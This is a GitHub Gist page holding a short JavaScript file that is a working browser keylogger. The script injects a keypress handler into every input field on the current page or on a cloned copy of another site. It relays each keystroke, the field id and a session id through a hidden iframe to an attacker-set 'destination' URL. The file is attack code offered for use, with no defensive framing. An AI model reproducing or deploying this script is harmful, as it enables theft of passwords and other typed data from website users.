-
-
Save 06b/eba6514b0ab68b065bcc to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Copyright John Leitch 2010 [email protected] | |
var destination = null; | |
var useClone = false; | |
var cloneSource = null; | |
var cloneDelay = 1000; | |
function hookInputs() { | |
var frame = document.getElementById('overlayFrame'); | |
var keyPressScript = | |
'<script>' + | |
'var l = Math.random().toString().substring(2);' + | |
'function relayKeyPress(e) {' + | |
'var fc = document.getElementById("frameContainer");' + | |
'var x = String.fromCharCode(e.keyCode);' + | |
'var y = String.fromCharCode(e.which);' + | |
'var k = e.keyCode ? x : y;' + | |
'var f = \'' + destination + | |
'\' + escape(k) + \',\' + ' + | |
'(e.srcElement ? e.srcElement.id : e.target.id) + ' + | |
'\',\' + l;' + | |
'fc.src = f;' + | |
'};' + | |
'</\x73cript>'; | |
var iframe = '<iframe id="frameContainer" style="display:none;"></iframe>'; | |
var sourceDoc = useClone ? frame.contentDocument : document; | |
var html = sourceDoc.getElementsByTagName('html')[0].innerHTML; | |
html = html.replace(/<head([^>]*)>/i, '<head $1>' + keyPressScript); | |
html = html.replace(/<body([^>]*)>/i, '<body $1>' + iframe); | |
html = html.replace(/<input/gi, '<input onkeypress="relayKeyPress(event)" '); | |
document.clear(); | |
document.write(html); | |
} | |
window.onload = function() { | |
if (destination == null) { | |
alert('destination not set'); | |
return; | |
} | |
if (useClone) { | |
if (cloneSource == null) { | |
alert('cloneSource not set'); | |
return; | |
} | |
document.body.innerHTML += | |
'<iframe style="display:none;" id="overlayFrame" src="' + | |
cloneSource + '"></iframe>'; | |
setTimeout("hookInputs()", cloneDelay); | |
} | |
else | |
hookInputs(); | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment